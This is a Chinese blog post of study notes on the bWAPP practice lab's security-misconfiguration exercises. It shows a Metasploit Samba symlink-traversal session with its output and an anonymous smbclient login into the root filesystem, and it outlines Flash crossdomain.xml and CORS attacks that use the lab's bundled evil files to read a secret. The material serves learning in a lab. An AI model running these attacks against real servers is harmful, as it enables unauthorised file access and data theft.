美文网首页hacker
bWAPP学习笔记 - A5 Security Misconf

bWAPP学习笔记 - A5 Security Misconf

作者: 开口海螺 | 来源:发表于2019-05-15 21:56 被阅读0次

    Arbitrary File Access (Samba) - 任意文件访问Samba

    用到的工具 Metasploit

    msf5> use auxiliary/admin/smb/samba_symlink_traversal
    msf5 auxiliary(admin/smb/samba_symlink_traversal)> set RHOSTS 172.16.8.134
    msf5 auxiliary(admin/smb/samba_symlink_traversal) > set SMBSHARE tmp
    msf5 auxiliary(admin/smb/samba_symlink_traversal) > exploit 
    
    [*] Running module against 172.16.8.134
    [*] 172.16.8.134:445 - Connecting to the server...
    [*] 172.16.8.134:445 - Trying to mount writeable share 'tmp'...
    [*] 172.16.8.134:445 - Trying to link 'rootfs' to the root filesystem...
    [*] Auxiliary module execution completed
    
    

    另一个终端执行如下命令:

    $ smbclient //172.16.8.134/tmp
    Enter WORKGROUP\root's password: 
    Anonymous login successful
    Try "help" to get a list of possible commands.
    smb: \> cd rootfs
    smb: \> 发挥你的想象力吧~~~
    

    Cross-Domain Policy File (Flash)

    本题说的时 Flash的跨域访问策略问题
    对应的文件是 crossdomain.xml,如果该文件的访问策略设置不正确,可以导致任意远程Flash文件读取服务器文件
    下图中可以看到,允许任意域的Flash访问

    evil文件夹找到xdx.as,重新填入对应的服务器地址

    Adobe Flash CS3及以上从新编译一个新的xdx.swf文件,并加入xdx.as这个文件

    将编译好的xdx.swfxdx.php放到服务器的另一个文件夹内。
    先登录bWAPP页面,然后在另一个服务器上请求xdx.php,最终会返回secret的内容

    为了这题,还特意去装了一个Adobe Flash。。。


    Cross-Origin Resource Sharing (AJAX)

    本题讲的是AJAX的跨域资源请求问题
    在另一台服务器上,修改evil文件夹内的,attack-cors.htm文件中的服务器路径
    然后在浏览器运行attack-cors.htm即可

    相关文章

      网友评论

        本文标题:bWAPP学习笔记 - A5 Security Misconf

        本文链接:https://www.haomeiwen.com/subject/axgeaqtx.html